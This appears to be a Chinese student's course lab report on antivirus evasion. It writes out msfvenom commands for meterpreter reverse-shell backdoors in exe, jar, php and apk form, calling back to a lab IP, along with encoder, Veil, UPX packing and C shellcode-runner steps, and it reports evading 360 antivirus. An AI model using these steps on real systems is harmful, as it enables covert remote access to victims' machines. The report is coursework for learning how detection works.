2019-2020-2 20175203马羽达《网络对抗技术》Exp3 免杀原理与实践
1.1方法
1.1.1正确使用msf编码器
1.1.2msfvenom生成如jar之类的其他文件
1.1.3veil
1.1.4加壳工具
1.1.5使用C + shellcode编程
1.1.6使用其他课堂未介绍方法
1.2通过组合应用各种技术实现恶意代码免杀
2.1基础问题回答
2.1.1杀软是如何检测出恶意代码的?
2.1.2免杀是做什么?
2.1.3免杀的基本方法有哪些?
2.1.4开启杀软能绝对防止电脑中恶意代码吗?
2.2.实践总结与体会
1.1方法
1.1.1正确使用msf编码器
在kali终端中,输入msfvenom
查看该命令的参数详情,选用msfvenom -l encoders
就能够查看编码器情况了。
将原来实验二中的后门程序发送至网站virustotal.com进行审查,如图所示
果然是一点隐蔽性都没有,轻松被看出来。
kali终端中输入cd /usr/share/metasploit-framework/modules/payloads/stagers/windows
进入文件夹,ls
查看Windows平台下的连接方式
之后,cd /usr/share/metasploit-framework/modules/encoders/x86
进入文件夹,ls
查看x86的编码方式
输入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 52 -b 'x00' LHOST=192.168.113.131 LPORT=5203 -f exe > mydexptriBD.exe
生成mydexptriBD.exe,检测如下:
就少了一个,没啥大用。。。看来杀软还是比较厉害的哈哈哈哈哈
1.1.2msfvenom生成如jar之类的其他文件
kali终端输入msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.113.131 lport=5203 x> myd175203_backdoor_java.jar
生成Java后门程序
导出后进行检测如下:
有了很大的改观,但是还是被一半的检测到
大同小异,输入msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.113.131 lport=5203 x> myd175203_backdoor.php
生成php程序
导出后进行检测如下:
厉害了!!!就剩三个了,这里还是要吹一手卡巴斯基的!
输入msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.113.131 lport=5203 x> myd175203_backdoor.apk
生成apk文件(安装包,用于安卓)
导出后进行检测如下:
被三分之一的检测到了,但是手机上一般没有什么杀毒的习惯,所以还是要警惕这类的了
1.1.3veil
安装过程简直是。。。一言难尽,那么就先说一下吧,首先,安装第一遍没问题,然后输入veil会提示让你继续升级,这时候问题就来了,你需要有足够流畅的网络,之后下完一遍后,会发现它打不开,并提示你输入运行一条指令,在普通模式下输入后进入下载,有好多个错误是由于没有管理员权限所以无法实现,那么我们进入管理员模式进行相同操作,这时候,先更新架构dpkg --add-architecture i386
,apt-get update
,apt-get install wine32
,然后安装veil-evasionapt-get install veil-evasion
就大功告成了!希望对大家有帮助,之后就是打开veil
输入use evasion
进入Veil-Evasion
use c/meterpreter/rev_tcp.py
进入配置界面
set LHOST 192.168.113.131
设置反弹连接IP
set LPORT 5203
设置端口
输入generate生成后门程序文件,将程序命名为veilmyd
按照提示即可在系统文件夹找到相关程序,检测如下:
不太行啊小老弟。。。
1.1.4加壳工具
使用命令upx mydexptriBD.exe -o myd175203.upxed.exe
加压缩壳
导出后进行检测如下:
没有更好的改观
1.1.5使用C + shellcode编程
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.113.131 LPORT=5203 -f c
生成C语言下的shellcode数组
mkdir myd175203.c
创建c文件
“shellcode数组”
int main()
{
int (*func)() = (int(*)())buf;
func();
}
输入i686-w64-mingw32-g++ myd175203.c -o myd1752203.exe
交叉编译
导出后进行检测如下:
还是2/3,不算成功。。。
1.1.6使用其他课堂未介绍方法
在veil中输入use evasion
进入Veil-Evasion
use 29
选择第29个,
set USERNAME myd
输入用户名,选择平台2,其他的都是kail相关的一些ip,端口等等如图:
生成文件名称默认,类型选择2,成为一个exe文件,发现是生成一个指令:
在主机中检测:
厉害了!!!
1.2通过组合应用各种技术实现恶意代码免杀
采用C语言调用bloxor编码的shellcode+加壳方式达成免杀目的
杀软:360
系统:win10
keil中msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=192.168.113.131 LPORT=5203 -f c
生成shellcode数组,在主机c语言程序codeblocks中进行编译,在debug里找到exe程序,keil中upx 17523myd.exe -o myd_bloxor_upxed.exe
加壳
一复制就被检测到了。。。gg
加壳后在主机里进行查杀,没找到!!!
也不知道是该高兴还是不高兴,,,
2.1基础问题回答
2.1.1杀软是如何检测出恶意代码的?
杀软有自己的特征库,就是我们需要更新的病毒库,通过对其特征或者进程行为的比对进行检测。
2.1.2免杀是做什么?
模糊恶意程序的特征行为,达到伪装,不被检测的目的。
2.1.3免杀的基本方法有哪些?
生成如jar之类的其他文件,加壳,使用C + shellcode编程等等
2.1.4开启杀软能绝对防止电脑中恶意代码吗?
当然不能,恶意软件进行更新,你在软件库里找不到同样类型的,就无法防范,但是开启杀毒软件还是能有效防范大部分恶意代码的。
2.2.实践总结与体会
本次实验让我更加深刻的了解了恶意代码的伪装过程,对keil的使用也有了近一步的熟练,收获还是很多的,尤其是在自主安装成功veil后,简直不要太快乐!(虽然好像不是一件很厉害的事情),由实验回归到现实,我把电脑360的病毒库设置为了wifi下自动更新,真的怕自己的电脑突然暴毙。。。